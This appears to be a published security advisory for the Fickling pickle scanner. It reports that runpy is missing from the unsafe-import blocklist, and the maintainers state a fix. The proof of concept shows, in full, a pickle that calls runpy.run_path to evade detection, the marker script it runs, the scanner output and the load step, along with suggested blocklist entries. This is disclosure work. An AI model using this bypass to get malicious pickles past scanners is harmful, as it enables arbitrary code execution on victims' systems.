Our assessment

We added runpy to our list of unsafe imports (9a2b3f8).

Original report

Summary

Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.

If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.

This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.

Details

The runpy module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).

Incriminated source code:

• File: fickling/analysis.py
• Class: UnsafeImports
• Issue: The blocklist does not include runpy, runpy.run_path, runpy.run_module, or runpy._run_code

Reference to similar fix:

• PR #187 added pty to the blocklist to fix CVE-2025-67748
• PR #108 documented the blocklist approach
• The same fix pattern should be applied for runpy

How the bypass works:

1. Attacker creates a pickle using runpy.run_path() in __reduce__
2. Fickling's UnsafeImports analysis does not flag runpy as dangerous
3. Only the UnusedVariables heuristic triggers, resulting in SUSPICIOUS severity
4. The pickle should be rated OVERTLY_MALICIOUS like os.system, eval, and exec

Tested behavior (fickling 0.1.6):

Suggested fix:
Add to the unsafe imports blocklist in fickling/analysis.py:

• runpy
• runpy.run_path
• runpy.run_module
• runpy._run_code
• runpy._run_module_code

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.Environment:

• Python 3.13.2
• fickling 0.1.6 (latest version, installed via pip)

Step 1: Create malicious pickle

import pickle
import runpy

class MaliciousPayload:
def reduce(self):
return (runpy.run_path, ("/tmp/malicious_script.py",))

with open("malicious.pkl", "wb") as f:
pickle.dump(MaliciousPayload(), f)

Step 2: Create the malicious script that will be executed

echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py

Step 3: Analyze with fickling

fickling --check-safety malicious.pkl

Expected output (if properly detected):
Severity: OVERTLY_MALICIOUS

Actual output (bypass confirmed):
{
"severity": "SUSPICIOUS",
"analysis": "Variable _var0 is assigned value run_path(...) but unused afterward; this is suspicious and indicative of a malicious pickle file",
"detailed_results": {
"AnalysisResult": {
"UnusedVariables": ["_var0", "run_path(...)"]
}
}
}

Step 4: Prove RCE by loading the pickle

import pickle
pickle.load(open("malicious.pkl", "rb"))

Check: ls /tmp/pwned <-- file exists, proving code execution

Pickle disassembly (evidence):

0: \x80 PROTO      4
2: \x95 FRAME      92

11: \x8c SHORT_BINUNICODE 'runpy'
18: \x94 MEMOIZE (as 0)
19: \x8c SHORT_BINUNICODE 'run_path'
29: \x94 MEMOIZE (as 1)
30: \x93 STACK_GLOBAL
31: \x94 MEMOIZE (as 2)
32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py'
...
100: R REDUCE
101: \x94 MEMOIZE (as 5)
102: . STOP

Impact

Vulnerability Type:
Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).

Who is impacted:
Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:

Attack scenario:
An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.

Severity: HIGH

• The attacker achieves arbitrary code execution
• The security control (fickling) is specifically designed to prevent this
• The bypass requires no special conditions beyond crafting the pickle with runpy